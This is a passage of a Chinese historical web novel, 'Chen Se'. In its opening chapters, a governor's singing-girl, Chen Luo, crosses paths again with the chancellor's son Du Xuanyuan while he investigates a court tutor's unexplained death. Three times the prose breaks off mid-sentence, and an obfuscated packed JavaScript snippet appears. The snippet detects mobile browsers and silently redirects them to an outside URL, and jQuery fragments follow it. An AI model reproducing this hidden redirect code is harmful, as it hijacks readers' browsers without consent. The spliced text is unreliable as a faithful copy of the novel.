《尘色》 1. 第一章 东风骀荡，仓庚熠羽。 大宴平都城三月上巳节前，阴云消散，地气回暖。数场淋漓春雨过后，帝京春杏尽数破空而绽。京城名刹大普光寺中杏花最著，寺中十数株百年老杏，嶙峋枝桠抽苞吐蕊，炫然而展，仿佛一夜之间，开得如海如雪。 普光寺后园，今日不见前来赏花的都民，寺中僧人也都尽数退避。自清晨起，就有侍女厨工在此不停穿梭忙碌。午后，园中摆起宴席，席上均是四季难得的珍馐佳肴。准备停当不久，一群青年人先进了园中。这些人多是今春来京赶考的士子。半盏茶功夫，月洞门处走出一位中年男子，在座士子看到此人，纷纷起身致礼。 苍梧节度使郭岳年近四十，脸容严峻，身材魁梧。细看鬓边星许见白，更使此人增添三分威严。今日宴会郭岳并未穿官服，只穿一身燕居袍衫，因此又显得亲切。郭岳就是今日宴会的主人。 今科春榜刚刚揭过，各地赶考的士子还未离京。郭岳进京述职，今日在普光寺后园中摆下筵宴，宴请苍梧来京的士子，既叙同乡之谊，也显惜重人才之意。今科未能得中进士者，若果有真才实学，日后回到苍梧，也有可能被郭岳所延揽，成为节度使府的入幕之宾。 “坐！坐！”郭岳向众人笑道，“大家既是同乡，各位只当我是家中前辈长兄，不必拘礼！今日月灯宴，要开怀畅饮，歌舞尽欢！” “月灯宴”之称源自前朝，前朝京中有月灯阁，三月放榜后，新科进士集于阁中为蹴鞠之会，会后在阁中宴饮。平都城中并无月灯阁，但士子球赛后聚会仍沿用旧称，乃是沿袭前朝士子风流。 郭岳为人不拘小节，和众士子在普光寺隔壁的球场打了许久马球，不仅球艺高超，在场中还毫无长官架子，令人心生敬意。 既是同乡之宴，席上还宴请了几位出身苍梧的朝臣。众人遥遥看去，郭岳下首坐了几位京官，鬓发斑白，都已见年纪。 再仔细看，却有其中一位例外。 此人年纪尚浅，只与青年士子相当，不知为何却能列席前排。 那人容色俊雅，气质却又自带三分冰冷，自入园后并未同众位士子交谈，只阒然独处。他身着芸黄圆领襕衫，腰间玉色丝绦，系麒麟佩，周身透出令平民士子艳羡的矜贵之气，一时却难以看出他在朝中身列何职。 直到郭岳引见，席中士子方才恍然大悟。此人是当今朝中宰相杜玠之子，杜玄渊。 杜玠出身徽山郡杜氏，也是苍梧人。今日月灯宴，杜玠也在受邀之列，只不过他忙于朝政，无暇赴宴。杜玄渊该是替父出席来了。若是杜玠本人亲至，今日郭岳的主位定要让给他。 “公子，请。”郭岳向那年轻人致意道。并未叫朝中职称，是亲近之意。 杜玄渊躬身还礼：“郭令公，请。” 主宾相继引见问候落座，席间杯盏相撞，很快热闹起来。 郭岳畅饮数杯后，朝身旁管事的示意。不到片刻，园侧粉墙月洞门中走出一队乐工伶人，将笙箫鼓乐等搬到杏树下，吹奏助兴。乐工之后又有五六位女子，盛装翩然而至。这些女子身姿窈窕，青春动人，很快将席间士子的目光吸引了过去。 大宴百年以来，四方丰稔，养妓之风盛行，朝廷士人无不以浮华游乐为风尚。自平都至地方，官员家中蓄养歌妓者极多。郭岳出镇苍梧二十年，领苍梧军节度使，兼任朝中检校尚书左仆射，是身份贵重的朝堂大员。他家中的歌妓自然引人注目。 歌妓中一位弹筝，一位抚琴，其余献舞后袅娜穿梭在席间佐酒。杏花疏影中，琳琅满目，香风阵阵，令人赏心悦目。 杏树下开始奏起《鹿鸣》曲。有科考士子们参加的宴会，必奏《鹿鸣》曲，这是自古的传统，取有福同享，惜重人才之意。 觥筹交错间，一位微醺的士子站了起来。 “呦呦鹿鸣，食野之蒿。我有嘉宾，德音孔昭。视民不恌，君子是则是效……晚辈敬郭令公款待众位同乡的盛情美意！” 郭岳向他举杯致意，仰头饮下。那士子性情豪爽，喝完杯中酒后却还站着。 “令公，我瞧你家这弹筝的歌妓十分特别！她这筝声中的《鹿鸣》却不像一般乐工所奏，倒像是掺入边境将士御敌拼杀的呐喊，少平和柔缓，透征伐之意，给人凛然之感。苍梧境内十年不见干戈，这是大帅之功，朝廷之福。不愧是苍梧来的歌妓！” 此语一出，树下的筝声微微一滞。 郭岳闻言哈哈大笑：“《鹿鸣》本该平和柔美，我看你是在说她学艺不精，未能领会此曲的精髓。” 那士子酒量不佳，已喝多了，大着舌头窘迫道：“晚辈怎会是此意！大人家中的歌妓，自然是色艺双绝！” 可巧今日席间并无工善音律之人，因此众人都没注意到筝声跟京中乐工所奏有何不同。听这士子一番话，众人皆随着他的话看向树下弹筝之人。 大家此刻才注意到，那弹筝的女子戴着一领雪锻面纱，低眉颔首，专注于指尖丝弦，让人看不清其身形面容。 杜玄渊随着众人目光看去，看到弹筝女坐在雪杏之间，并未有什么异常。他只饮了一盏，胸口处却沉闷不快。今日若不是丞相所令，这样的应酬绝不是他所喜。 他推开身旁粉衣歌妓递来的酒盏，起身离席。此时还不是告辞的时候，他想到寺中各处看看。杜玄渊心里惦着太子托给自己的命案，心思全不在这里。 郭岳看众人一时都对弹筝之人好奇，便令乐工们暂住。 他爽朗地朝树下挥挥手，对那女子道：“荦娘，你到席间来。此间皆是苍梧的乡贤俊才，来敬士子们一杯。” “是。” 那弹筝的女子盈盈起身，走到席间下拜。 “苍梧节帅府陈荦，为大帅和诸公贺，祝愿大帅和诸公平安康健，永受嘉福。” 杜玄渊已走过洞门，听到背后传来一句“永受嘉福”。他对笙歌曼舞并无兴趣，因此脚步并未停留，向寺中走去。 有士子低声念陈荦的名字，说：“这名字倒有三分风雅，不像是歌妓出身，不知令公从何处得来此美人？” 陈荦走到席前，为几位朝中官员和苍梧士子把把盏。她未露出面容，烟罗凤尾裙如流水款摆，行动间身姿绰约。 有人好奇道：“令公，你家这弹筝女轻纱蒙面，可是有什么缘故？” 郭岳未及回答，有士子抢先道：“我想这是令公藏娇之意，佳人绝色只愿独享，不欲让她见客！” “难道果真如此？” 起了话头，席间一时都猜测起来，十分热闹。 时下士人品评歌妓之风盛行，席间宾客问起此事，并无不敬之意。相反，家中蓄有绝色者，若能得人赞语，反而可以在京中传为美谈，令主人增光。 郭岳笑着举酒嘱客，任大家猜测，并不着急回答。 陈荦见众人目光都看向自己，便放下手中的酒注走到席前，再次下拜答道：“陈荦并非生有绝色容颜，戴起面纱乃是旧日习惯，还未及改过。” “原来如此。” “旧日习惯为何又要戴纱蒙面呢？” 有人还好奇道：“姑娘的筝声十分独特，可是师从大家么？” “这旧日的习惯却又是什么？可是跟郭令公有关？” “节帅府中的歌妓即使不是绝色，也必然容貌不俗！” 陈荦：“诸公既对小女子容貌好奇，今日也可与诸公相见。” 她不待众人再议，将手伸至耳后轻轻一挑，取下面纱。 众人仔细一看，不禁大失所望，这确实不是一张绝色的脸，甚至在京中也算不上上乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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众人三三两两谈起刚过去的春闱，有人高中，便有人失意。赴宴的举子中只有一位进士及第，其余都落了榜。帝都三月春花烂漫，正是新科进士最圆满得意之时，这份得意却衬出下第之人的落魄。 有位士子将酒盏放下，要了纸笔将昨夜所得的一首落第所感写出，当众吟诵。吟诵完毕一时伤感落泪，众士子失意愤懑，席间气氛顿时低迷下去。 杜玄渊看到，郭岳递了个眼神，他身旁的蒙面女子便起身，持着酒盏来到士子身旁。用那双白手轻轻将纸笔收起，然后将酒盏递给他。 “公子不必伤感，公子如此年轻，又用功刻苦，何虑日后不能高进？” 杜玄渊眼皮轻微一跳，这声音，怎会有一丝熟悉之感？难道在哪里见过此人？他转念一想，不过是错觉，他今日和郭岳第一次见面，从不认识谁家的歌妓。 “金榜真仙开乐席，银按公子醉花尘。明年二月重来看，好共东风作主人。公子年轻才高，下次春闱，定有机会高中，请公子满饮此杯。” 想不到她竟有这样的才思。 “好！”那士子被温言所慰，接过酒盏一饮而尽，收起伤怀之态，笑着回她，“借你吉言。” 树下乐工重新开始吹奏，席间又活跃起来。 杜玄渊再不想多留，借口有公事在身，向郭岳告辞，先行离开了普光寺。 出得寺门，微薄的酒意被寺门外凉风一激，他猛然想起来，跟随太子多年的窦太傅也是苍梧人。 近日京中发生的命案就跟太子太傅窦方有关。 五日前，窦方被发现在家中暴毙，至今未检出死因。窦方死时手中紧紧拽着一块纱巾，似是从女子裙裾上扯下的残片。此案轰动朝野，天子已交给大理寺审理，但太子和丞相都在派人暗查。 两人派的都是杜玄渊。 苍梧是朝廷五大边镇之一，这些年来表面顺服，实际上和朝廷若即若离，自去岁起贡赋不入京，几成化外之地。身为苍梧节度使的郭岳为何在此时进京？如此兴师动众宴请士子，真有如此巧合？ 2. 第二章 平者，河清海晏，四方之正。正是大宴帝京平都之名的由来。 陈荦十五岁前，心中一直有个念想，想着将来有一天到平都城中去看看。那时的她也不知道去到平都还可以做什么，她只是想从姨娘之想，一朝改变境遇，离开她们生活的地方。 如今真的来到平都城，陈荦发现了自己少时想象的贫乏，平都比她想象中还要繁华十倍不止。 上巳节前后，平都城内按例不宵禁。此时已近黄昏，因天气晴好，大街上正是车水马龙游人如织的时候。 陈荦和侍女换下郭府的裙装，扮成富户女子，来到大街。陈荦只是闲逛，并无目的，在街边听到一阵悦耳的筝声，便停住了脚步，随行人一起走进路边酒楼。 那酒楼名为朝凤楼。 大堂的山水屏风前，有个女子正坐在那里为客人弹筝。周边喧闹，她弹得卖力，音符如流水般自指尖飞泻而出，驻足听曲打赏的客人却很少。 陈荦带着侍女在临近的位置坐了，静静地听她弹奏。她进这家酒楼，就是来听这筝曲的。 她低声对侍女说：“想不到平都城中就连路边酒楼一个普通的乐人，筝技也比我高超许多……” 侍女听着她的话，想起午后普光寺宴间士子们对那首《鹿鸣》的评议，心想她或许还在介怀。 “娘子可是在想今日普光寺宴席间的事？可令公也并未责怪娘子。”侍女歪歪头，一派纯真可爱，“我看令公在咱们府里，最喜欢的就是娘子了。” 陈荦不置可否。 那女子一曲弹毕，并未收到打赏，也没有客人来请她去雅间。她怯怯地看了看四周，便将筝架向屏风处移了移，低头尽量收起身子，以免占了太多地方被掌柜呵斥。 陈荦突然觉得，以她这样的技艺，在郭府内定能占据一席之地，她却只能在此处受人冷眼。不一会儿，掌柜的见没有客人召她，便来让她出去。陈荦示意侍女过去，当着掌柜的面点了一首曲子，掌柜的便又走开了。 有客邀曲，那女子感激地朝陈荦行了个礼，随即沉浸地弹奏起来。筝声激越悠扬，陈荦却听得有如芒刺在背。难受的不是别人，而是自己。筝是姨娘亲自为她选的乐器，她学了许久，下过苦工，却仍旧弹得不好。 陈荦走到那弹筝的女子旁边，细细去看她的指法。 不知过了多久，不经意间，她突然感觉到有股威慑的目光掠向自己。陈荦抬头环视，东面雅间内不知何时坐了个男子。 芸黄身影，腰间麒麟佩，像在哪里见过……陈荦心里微微一惊。 上巳前后出游，街上佩戴面纱的女子甚多，陈荦的装扮并不出奇。她狐疑地收回目光，片刻后抬头再看，雅间内那人影已经不在了。 接下来的几日，府中无须侍宴。陈荦接连带着侍女光顾朝凤楼，有时略微小坐。遇到那弹筝的女子在屏风前演奏时，便给她打赏，向她讨教弹奏的指法技巧。 陈荦双手十指修长，却天生笨拙。她请教许久，主动坐到屏风前将那日的《鹿鸣》弹了一遍。旁边的女子听罢，沉吟半响才斟酌着说，“贵人这是初初习筝吗？初学之人，这样已经很不错了。” “啊……” 陈荦难为地将双手缩回袖间。 她不是什么贵人，更不是初学之人。自十一岁时馆里的乐师教给她弹筝，她已经习艺许多年了，水平却…… 这时，店伙计跑过来招呼道：“有客让你去雅间弹奏，楼上第三间。” 弹筝女有贵客相邀，便能有收入，陈荦不耽搁她。 陈荦起身要走时，却被伙计喊住：“这位娘子，楼上的客人相邀，请娘子也同去。” 陈荦和侍女皆是一愣，除了郭府，她们两人在平都城中没有任何认识的人。陈荦不欲惹人注目，郭岳身份特殊，若是给他招来麻烦，极为不妥。她当即摇头，“想是贵客认错了，我与家人近日方至京中，无有相识之人。” 说罢带着侍女匆匆出了朝凤楼，往郭岳在京中的府邸赶去。 街巷之中熙来攘往，走不多远，陈荦只听到一身细微的惊呼，回转过身，身旁紧跟自己的侍女已然不见了身影。 “小蛮？” 她惊慌地往周遭看去，迎面走来一个公差模样的人对她说道：“夫人，我家主上有请。” 书吏将陈荦带回朝凤楼方才的雅间。 陈荦有些奇怪，她推开门，看到屏风前站着个男人，背身而立。 听到动静，那人转过身，掏出腰牌递到她跟前。“夫人请不必惊慌，我乃朝中官吏，如今奉命查案。请夫人将面纱除去，交予在下查验。” 有一个弹指的时间，陈荦没有任何反应。她站在原地，疑惑担忧惧怕等一一闪过，觉察到对方并无歹意才镇定下来。 待到神思归位，尘封的记忆猛然出现一张脸，跟眼前的人对上，由模糊变得清晰。 “你说什么？” 眼前之人重复道：“请夫人除去面纱，交予在下查验。” 陈荦的指尖微微动了动，拒绝道：“为什么？” “京中近日发生命案，我怀疑夫人与命案有关，请夫人除去面纱。” 陈荦不由自主屏住了呼吸。眼前之人生得高大，她要微微仰起脸才能与他对视。这个人眉目清扬，眸光如墨，有一张可以入画的脸，然而他五官神情严肃，自带一股不可逼视的威仪。 眼前之人，竟是杜玄渊。 冤家路窄，又或许是之前欠下的孽债，怎么会让她在这里遇到他？陈荦从没想过这辈子会再见到杜玄渊，还是在如此逼仄的房间内，如此诡异难言的境地。 “命案……什么命案？” 她是郭岳的姬妾，随他来京不过半月，怎么会与命案有关？ “这个夫人不必知道，请夫人除下面纱，交予在下查验。”他重复道。 杜玄渊什么时候有了将话说三遍的耐心？还能对她这身份低贱的小小歌妓先礼后兵。如此礼遇，等会儿他该不会动武吧？ “如果我不除，会怎样？”陈荦移开目光，一时竟有些心虚。 然而杜玄渊还是看着她：“此桩命案干系重大，事关朝中要员，请夫人配合。在下将夫人的侍女引开，也是为了低调行事，不给郭令公添麻烦。” 想起郭岳，陈荦轻轻松了一口气。不论如何，若是今日她有什么不测，郭岳的身份该还是有用的。没有人敢轻易动郭岳府中的人，她总不会有最坏的遭遇。 陈荦是到很后来才无意间得知，杜玄渊竟是当朝宰相杜玠之子。既是这样，那便想得通了。他的出身让他面对一个陌生的女子时，说话疏离有礼，却不容置疑。 那日普光寺月灯宴穿芸黄襕衫之人，正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956239|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他。只是那天他在席间极其少言，并未与人交际，陈荦忙于应承侍奉，没有认出他来。 “请夫人除面。” 杜玄渊从屏风处向前逼近了一步。看那样子，若她不自己摘下来，他就要动手了。 陈荦估摸了一下此时自己转身就跑的话，被捉回来的几率有多少，随后就否定了自己逃跑的想法。杜玄渊的武力，以前她是见过那么几次的。 “我先得告诉你，我只是郭府中一名普通歌妓，随大人来京不过半月，平日至多来街上走走，此外再未去过任何要地，更没有接近过朝中之人。加上我……手无寸铁，因此我绝无可能跟命案有关。你既要确认……好，好吧。” 眼看躲不过，陈荦把心一横。往日多少次艰难淹蹇她也走过来了，今日不过再难堪一回，既然是查案，不能让郭府牵连进去才最要紧。 除下面纱，她顶多不过颜面扫地，如果他在杜玄渊面前还有颜面的话…… 犹豫了瞬间，陈荦伸手至耳后，指尖轻轻一挑，将面纱一侧摘下。 她横着心，瞪着眼睛对上杜玄渊的眼神，便看到杜玄渊陷入了跟方才的她一样的反应。 先是一动不动，眼中快速闪过复杂难言的情绪，倏忽回过神来，随后盯住她左侧下颌处，不知为何。 陈荦将轻纱捧在手上，“既是查案，想是这面纱与案子有关，在此呈给大人。” 杜玄渊鼻端闻到一阵隐秘的幽香，随即意识到那面纱传出的。敷粉熏香，魅惑男人，正契合她的身份。 他看错了。那面纱跟窦太傅手中那块纱巾织料、纹饰全不一样，她脸上也没有那道可怖的刀疤。那肌肤光滑如新，是被富甲一方的节帅府所恩养出来的产物。 许久，谁也没说话。 杜玄渊看了她手中的轻纱片刻，随后绕过她，打开房门大步走了出去。陈荦听见他低声招呼下属，很快走远了，随后小蛮一脸惊疑地从廊中跑了进来。 杜玄渊认出了她，也明显没想到是她。一言不发拔腿就走，显然是一句话都不想和她说，一刻都不想和她多呆了。那件事，若不是今日再见，陈荦几乎都快要忘记了，难道杜玄渊还耿耿于怀吗？ 陈荦有些无奈地想，阴差阳错一场误会，难为他还记到如今。 “娘子！娘子！发生什么事了？” 陈荦把面纱扣回耳后。 “没有什么，一场误会，我没事。有人为难你了吗？你受伤没有？” “那人就是将我禁住，什么也没做，我担心歹人伤害娘子。” “没人伤害我。” 两人从朝凤楼中走出，随着人流走了好长一段路。陈荦才又叮嘱道：“小蛮，大帅事务繁忙，今日和楼中客人发生些许误会，我们两人既然都没事，回去就不要告诉府中人了。大帅来京前也交代我们不要多生事端，知道了吗？” “知道了，娘子没事就好，吓死我了。” 陈荦说：“看来我戴这面纱，容易招来误会，可若是不戴……”她其实直到现在还未习惯素面示人。 小蛮知道她过去戴纱的原因，便说：“娘子，那你每次都厚敷粉，不就行了么？只要节帅大人不召你，咱们就多花些时间来给你梳妆施粉。” 陈荦可不想花那么多时间来梳妆，可现下似乎也没别的办法。便随口答应她：“好。” 3. 第三章 郭岳在平都的府邸位于檀胜坊西北，规模虽远及不上苍梧节帅府，但房间院落众多，连陈荦都能分到一间单独的小院。 晚间，陈荦正在习字，听到小蛮在门外道：“给大帅问安。” 是郭岳来了。 陈荦连忙放下笔，走到妆镜前，蘸取盒中的铅粉补脸颊上的妆。 郭岳身着中单走进来，身后跟着医士，看到陈荦便道：“不必精心修饰，晚间不侍宴佐酒，不见外客，你自在就好。” 他的话让陈荦心生感激。郭岳纳她入府后，确实并不十分在意她的容貌妆扮，还给了她许多自由。但陈荦没有停下手中的动作。她是私妓之女，生于沟渠，长于行院，自小便知道，以美示人是所有歌妓的本分，也是谋生的希望和手段。 她轻细地将香铅敷在颊上，并延伸到脖颈处，收拾停当后先接过医士手中一摞厚厚的公牍，再转身打开香炉，去点起炉中的瑞脑。 身后的医士提醒道：“娘子请不必点香，今日要用炙焫，这瑞脑香不好混在艾草中。” “是。” 郭岳在矮榻平躺下来，医师熟练地归置好施炙的物事，点起艾绒。很快，屋内便飘满了浅淡的陈年艾草的味道。 自去岁以来，郭岳的风痹之疾一直是在陈荦房中治疗的。这件事，连小蛮都不甚清楚，只有陈荦和房中这位郭岳心腹的医士知道内情。 郭岳在几年前察觉到身体有风痹之疾。开始是左肢酸楚麻木，后来便僵硬肿大，几乎不良于行。经过医士精心料理，郭岳方能正常行走。只是这风痹之症不能根治，如今蔓延到手指，更需时时小心。外人少有靠近一方节帅的机会，因此几乎无人知晓。只有陈荦和医士知道，郭岳左手三个指头屈伸不利，已有半年了。 十日一次炙焫，半月一次针灸，都在陈荦房中进行。 郭岳朝她吩咐道：“念牍文吧。” 陈荦端坐到矮榻旁的螺钿香几后，拿起其上的公牍，一本本打开，给郭岳念上面所写的内容，并按照郭岳的指示，提笔在纸上批示。 陈荦初入节帅府时，只是略微识得几个简单的字。后来郭岳无意中发现她记性好，便请府中幕宾来教她识字读书，还准许她扮成学子到苍梧城中的学舍去听讲。待到陈荦认识的字越来越多，字也从东倒西歪变得像模像样，郭岳便把艾炙时帮助处理公牍的任务交给她了。 陈荦隐约能猜到郭岳这么做的原因，大概就是因为她有些过目不忘的本领，而郭岳又不欲有人知晓他的风痹之症，便纳她入府，选了她这个跟外界毫无瓜葛的人偶尔来代替他的手脑。 陈荦念完公牍，又按照郭岳所授的办法将之分门别类，插上牙签，待明日有人来取走，她的事务便完成了。 约摸花了半个时辰，医士施针结束后，便告退出去。 陈荦侍候郭岳重新换了一身干净的中单，将他扶到起居榻上。随后放下锦帐，点起瑞脑，褪开衣衫。春夜寂静，她躺在他身旁，静静等了片刻，并未等到什么动作。不久之后，身旁传来平稳的呼吸声，郭岳已然睡着了。 陈荦轻舒了一口气，她今日乏累，实在没有心思应承什么人。 她轻身翻起，将衣衫披上，轻声叫小蛮换一盏更亮的灯来。 小蛮打着呵欠问：“娘子，大帅他都睡下了，你还不睡么？” “我睡不着，嘘，你轻些。” 小蛮噤声退出，陈荦端着灯台，回到书案旁继续习字。写了有小半个时辰，陈荦开始有些心不在焉。 郭岳是她的恩人，她真心愿他能够药到病除康健如常。可又忍不住想，如果哪一天，郭岳的风痹症治好了，不再需要她给他念公牍，到时候她在节帅府中还有用吗？ 为了继续留在节帅府，她要做的还是像府中的歌女，时时精心装扮，每日精进技艺。这才是节帅府容养她们的理由。 陈荦想着，笔端便忘了动作，在纸上泅出一个丑陋的墨点。回过神来，将纸揭掉。重新提笔蘸墨，却突然没了继续写的心气。 她吹灭灯盏，回到郭岳身旁躺下。在满室寂静中突然想起白天发生的事来，她一个几乎足不出户的小小歌妓，来京不过半月，如何会卷入朝廷命案？平都城中繁华如此，原来是非却也这么多。 今日一场尴尬算是解了误会，只愿日后都不要再遇到杜玄渊了。 ———— 暮色幽暗。 窦太傅府邸已被大理寺官差戒严，杜玄渊穿一身便服到了门口，随即被喝住。官差举灯看清来人后，语气变得恭谨，但依旧不放行。 杜玄渊从怀中掏出杜玠给的手谕，那官差拿着小心地看了片刻，商议之下才将他放了进去。 怎么会没有痕迹？ 杜玄渊来到窦太傅死亡的书房，举灯仔细查看地板、桌案、书格，甚至连香炉底部和墙上的编钟都验看过了，还是没有找到一丝凌乱的痕迹。 从现场看来窦太傅绝不是外力致死，那为什么大理寺仵作也验不出来服毒的迹象？真的有人会平白无故暴毙而亡。任何一人死得毫无痕迹，杜玄渊是不信的。 书房内重要的物证已被大理寺悉数带走，他在紫檀书格间小心翻找，信件契税一类的东西，一概未能看到。 虽有丞相手谕，但也不能多留。杜玄渊一无所获，赶回丞相府。杜玠还没睡，让他看了一封方才送来的东西。 那是一摞信札。 翻开来看，是窦太傅和四方藩镇往来的信件。写信的纸张还未泛黄，因此不是旧信。但信中的内容都是寻常的新春问候之语，跟京中拜年的飞贴别无二致。 杜玠参详许久，也并未从信中读出什么端倪。 杜玄渊捡起信札中那一封苍梧节帅府寄来的，沉吟不语。他有种奇怪的直觉，郭岳在此时进京，绝不像是巧合。 这些都是藩镇寄到京中的信，那窦太傅寄出的信中写的又是什么？ 杜玠突然问道：“你手中，人手可还够用？” “够用，父亲。” 杜玄渊最不想的就是孚杜玠所望，莫说人手够用，就是不够，他自己一人也要把这件事查出来。 他是杜玠之子，太子左卫率，不是别人。 “嗯，继续查，小心些，最是要注意一条，勿多生事端让太子再牵涉进来。” “是。” 大理寺有杜玠的门生，此案的内情和重要物证，杜玄渊都能间接接触到。可费力查了数日，竟没找到什么有用的线索。 杜玠睡后，杜玄渊又在灯下细看那些信札，将之与窦太傅的字迹比对，将窦太傅的死从头梳理了一遍。 许久，他到西院叫来属下，换上夜行衣，趁夜又离开了丞相府。 —— 平都城中浮华冶游之风虽盛，但在明面上，朝廷士大夫也不便公开狎妓，避免惹起风波非议，一旦影响朝廷声誉，便会遭到弹劾。朝臣若要跻身清贵宰辅行列，还必须像杜玠这样品行堪为世范才可。在这个方面，杜玠在朝中是个例外，三十年来，洁身自好到苛刻，家中只有原配妻子一位，七年前妻子病逝后，至今没有纳妾和再娶。 但窦太傅……同为东宫属官，杜玄渊虽和他来往不多，却也听说他家中姬妾众多，姬妾间还因争风吃醋而发生过命案。这样一个人，死前又捏着一块裙布，大理寺的仵作不该什么都验不出来。 果然，两日后，杜玄渊自己私下想办法送进大理寺的仵作回禀，窦太傅的死跟女子有关，其死状有些貌似马上风，却又不知为何没有当即倒在原地，而是回了家里书房再咽气。 杜玄渊一时气愤，大理寺中有人想给窦太傅讳饰，却居然掩盖到这种程度。好歹，知道这一条，他追查的方向便明朗多了。 丞相府中不便传人，杜玄渊便亲自去。 他很快带着属下去了城南的绿绮馆。 绿绮馆以古琴为名，是平都城中小有名气的乐馆。馆中擅琴、擅箜篌者众多，当今天子年少时喜爱音声，还曾光顾过此馆。 杜玄渊和属下着便装入绿绮馆中。 很快，属下匆匆地赶到雅室禀报，“人带来了。” 馆主是个四十多岁的中年女子，一看到杜玄渊就有些不安，沉闷片刻才换上迎客的笑容问道：“不知贵客唤我有何贵干？贵客想听哪位姑娘的曲子？” 杜玄渊不多言，掏出巾帕，将那巾帕中的裙布拽出来，递到馆主前面。 “卢馆主，请告诉我，这块裙布是从馆中哪位女子身上撕下来的？” “这……” “我因一桩命案查访至此，馆主须如实以告，不得有瞒。” 那馆主有些不情愿，她在京中经营多年，见过的达官贵人多了，看到眼前只有两人，紧张过后便有些怠慢下来。 杜玄渊微微示意，旁边的属下“唰”的一声亮出怀里的兵刃，寒光从屏风上闪过，将馆主吓了一跳。杜玄渊则站在原地不为所动地看着她。 杜玄渊不愿这样威胁妇人，但这是少时丞相便交给他的方法，很是管用。杜玠自己从未拿过刀兵，倒把杜玄渊教成了个武夫。 “没有没有，贵客切莫动怒，我们馆的姑娘没有这种布料的衣裙。” “馆主确定吗？请再细看。” 那馆主接过裙布，仔细看了片刻，还是极力否认，杜玄渊看她不像说谎，便让她将馆中负责裁衣的匠工找来。 那匠工是个会做事的，很快就将绿绮馆在城中采买绸缎的布样尽数拿到房中，给杜玄渊查验。馆主接着还主动补充道，馆里的琴师和姑娘都是让匠工量体裁衣，除非有恩人相送，要不然很少穿外间的衣裳。 “至于有什么客人送了我们姑娘礼物，我就没法儿回答您了。每日来这绿绮馆中的客人没有上百也有几十，馆中琴师也日日受邀外出，就是有十个馆主，也不能一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956240|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一尽知。贵客可还有什么吩咐？” “若贵客没有别的吩咐，就请在此稍歇听曲，奴家给您二位传唤。” “我们绿绮馆中的琴师，可是在十五年前得过当今天子赏赐的！近些年来，京中朝中，还有四方，不时都有贵客光临。” “贵客是想听箜篌还是琴筝？箜篌柔美，琴声雅致，筝声清越，各有所擅！” 杜玄渊和她交涉不久，被她密集的话缠得难受。 看他没有吩咐，那馆主便带着匠工退出了雅间。她朝外间吩咐下去，少时，雅间珠帘之后便响起了筝声。 杜玄渊正待要走，听到那筝声如流水，倒有些耳熟，像那日朝凤楼山水屏风前的筝声。 那衣衫单薄的女子也是绿绮馆的琴师？这样看来，绿绮馆之人在京中的交际不可谓不广，跟窦太傅扯上瓜葛，实在很有可能。 一曲完毕，珠帘后的人轻声说话。杜玄渊一时起意，伸手掀开了珠帘。 让他没料到的是，坐在筝案后的人，有两个。 那日朝凤楼弹筝的女子，和坐在她旁边的陈荦。 ———— 陈荦看到杜玄渊的瞬间，先在心里叫了声不好，接着又暗自吃了一惊，杜玄渊居然是绿绮馆的客人？绿绮馆售卖的可不止是乐曲…… 弹筝的女子叫云娘，她自筝案后站起，朝杜玄渊盈盈福了个礼。可一抬头，看到客人并不高兴，不由得有些害怕，忍不住怯怯地问道：“贵客不喜这曲子，可是嫌妾身的技艺不佳？我……” 陈荦轻声打断她：“不是的。” 杜玄渊收回目光，起身要走。陈荦扭眼看到云娘单薄陈旧的春衫，突然开口叫住他：“贵客是隔帘窃听，还是有心赏曲？” 顺利说了第一句话，她胆子便大了起来，清了清有些沉闷的嗓子，“若是这曲子好听，贵客竟无所示意，岂不是让云娘愧疚么？” 属下低声在杜玄渊耳边提醒道：“公子，她这是要打赏。这是北地乐妓间请赏时常说的行话。”随即站直了呵斥陈荦，“放肆！小小绿绮馆乐妓竟这般无礼！” 他这一呵斥，云娘和陈荦都抿紧了嘴。 “公子，走吧。” 杜玄渊不想看到陈荦，却看了看穿得十分单薄的云娘。沉默片刻，伸手至腰间，摘下腰间丝绦所坠的白玉云鹤佩，这是他身上唯一能赏出去的东西。 “给她吧。” 属下一愣，想不到杜玄渊竟要打赏乐妓。“公子……” 杜玄渊冷着一张脸，并不多说话：“给她。” 属下从杜玄渊手上接过玉佩，双手递到云娘面前。 “多谢贵客。”陈荦和云娘齐声道。 陈荦心里一阵窃喜，丞相府中的玉佩必然价值不菲。云娘得了这块玉佩，可以置办几身体面的冬裙。 她看杜玄渊一时还没有拔腿就走的意思，便自作主张，走到香几旁，往琥珀杯中倒了一杯酒。穿过珠帘，双手递到杜玄渊面前，颔首道：“多谢贵客打赏，祝公子喜至庆来，永永其祥。” 杜玄渊不理她，将目光从那琥珀盏上移开，问道：“你来此地做什么？”随即意识到自己并不想知道。 陈荦一愣，随即换上一脸明媚的笑意：“请公子饮此杯……” 那是惯于应承恩客的笑容，杜玄渊后退了一步，脱口而出：“我不喝，你离我远些。” 他话中已含有怒意，随从和云娘俱是一惊。 陈荦并不恼怒，她早知道是这个结果，此人原来比她想象中的记仇。 “是妾身搅扰大人了，请大人慢行。大人若觉得云娘的筝好听，日后还盼大人常来光顾……” 